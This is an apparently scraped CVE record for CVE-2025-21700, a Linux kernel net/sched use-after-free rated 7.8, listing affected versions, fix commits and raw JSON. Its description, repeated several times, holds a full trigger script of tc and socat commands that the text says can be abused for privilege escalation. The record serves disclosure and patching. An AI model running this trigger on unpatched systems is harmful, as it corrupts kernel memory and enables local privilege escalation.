CVE-2025-21700 (GCVE-0-2025-21700)

Vulnerability from cvelistv5 – Published: 2025-02-13 11:30 – Updated: 2025-11-03 19:35
VLAI?
Title
net: sched: Disallow replacing of child qdisc from one parent to another
Summary
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Severity ?
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < cd796e269123e1994bfc4e99dd76680ba0946a97 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fe18c21d67dc7d1bcce1bba56515b1b0306db19b (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 38646749d6e12f9d80a08d21ca39f0beca20230d (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < deda09c0543a66fa51554abc5ffd723d99b191bf (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7e2bd8c13b07e29a247c023c7444df23f9a79fd8 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 73c7e1d6898ccbeee126194dcc05f58b8a795e70 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 46c59ec33ec98aba20c15117630cae43a01404cc (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < bc50835e83f60f56e9bec2b392fb5544f250fb6f (git)
Create a notification for this product.
    Linux Linux Affected: 2.6.12
Unaffected: 0 , < 2.6.12 (semver)
Unaffected: 5.4.291 , ≤ 5.4.* (semver)
Unaffected: 5.10.235 , ≤ 5.10.* (semver)
Unaffected: 5.15.179 , ≤ 5.15.* (semver)
Unaffected: 6.1.129 , ≤ 6.1.* (semver)
Unaffected: 6.6.76 , ≤ 6.6.* (semver)
Unaffected: 6.12.13 , ≤ 6.12.* (semver)
Unaffected: 6.13.2 , ≤ 6.13.* (semver)
Unaffected: 6.14 , ≤ * (original_commit_for_fix)
Create a notification for this product.
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          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug \u003c=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12.  send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13.  send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e"
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        "dateUpdated": "2025-05-04T07:19:16.975Z",
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          "url": "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f"
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      ],
      "title": "net: sched: Disallow replacing of child qdisc from one parent to another",
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    "cveId": "CVE-2025-21700",
    "datePublished": "2025-02-13T11:30:19.003Z",
    "dateReserved": "2024-12-29T08:45:45.748Z",
    "dateUpdated": "2025-11-03T19:35:46.524Z",
    "state": "PUBLISHED"
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\"deda09c0543a66fa51554abc5ffd723d99b191bf\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"7e2bd8c13b07e29a247c023c7444df23f9a79fd8\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"73c7e1d6898ccbeee126194dcc05f58b8a795e70\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"46c59ec33ec98aba20c15117630cae43a01404cc\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"bc50835e83f60f56e9bec2b392fb5544f250fb6f\", \"versionType\": \"git\"}], \"programFiles\": [\"net/sched/sch_api.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"2.6.12\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"2.6.12\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"5.4.291\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.4.*\"}, {\"status\": \"unaffected\", \"version\": \"5.10.235\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.10.*\"}, {\"status\": \"unaffected\", \"version\": \"5.15.179\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.129\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.76\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.13.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.13.*\"}, {\"status\": \"unaffected\", \"version\": \"6.14\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/sched/sch_api.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97\"}, {\"url\": \"https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b\"}, {\"url\": \"https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d\"}, {\"url\": \"https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf\"}, {\"url\": \"https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8\"}, {\"url\": \"https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70\"}, {\"url\": \"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc\"}, {\"url\": \"https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: Disallow replacing of child qdisc from one parent to another\\n\\nLion Ackermann was able to create a UAF which can be abused for privilege\\nescalation with the following script\\n\\nStep 1. create root qdisc\\ntc qdisc add dev lo root handle 1:0 drr\\n\\nstep2. a class for packet aggregation do demonstrate uaf\\ntc class add dev lo classid 1:1 drr\\n\\nstep3. a class for nesting\\ntc class add dev lo classid 1:2 drr\\n\\nstep4. a class to graft qdisc to\\ntc class add dev lo classid 1:3 drr\\n\\nstep5.\\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\\n\\nstep6.\\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\\n\\nstep7.\\ntc class add dev lo classid 3:1 drr\\n\\nstep 8.\\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\\n\\nstep 9. Display the class/qdisc layout\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nstep10. trigger the bug \u003c=== prevented by this patch\\ntc qdisc replace dev lo parent 1:3 handle 4:0\\n\\nstep 11. Redisplay again the qdiscs/classes\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 1:3 root leaf 4: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nObserve that a) parent for 4:0 does not change despite the replace request.\\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\\nc) both class 1:3 and 3:1 are pointing to it.\\n\\nStep 12.  send one packet to plug\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\\nstep13.  send one packet to the grafted fifo\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\\n\\nstep14. lets trigger the uaf\\ntc class delete dev lo classid 1:3\\ntc class delete dev lo classid 1:1\\n\\nThe semantics of \\\"replace\\\" is for a del/add _on the same node_ and not\\na delete from one node(3:1) and add to another node (1:3) as in step10.\\nWhile we could \\\"fix\\\" with a more complex approach there could be\\nconsequences to expectations so the patch takes the preventive approach of\\n\\\"disallow such config\\\".\\n\\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.4.291\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.10.235\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.15.179\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.129\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.76\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12.13\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.13.2\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.14\", \"versionStartIncluding\": \"2.6.12\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2025-05-04T07:19:16.975Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-21700\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-05-04T07:19:16.975Z\", \"dateReserved\": \"2024-12-29T08:45:45.748Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2025-02-13T11:30:19.003Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}


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Sightings

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.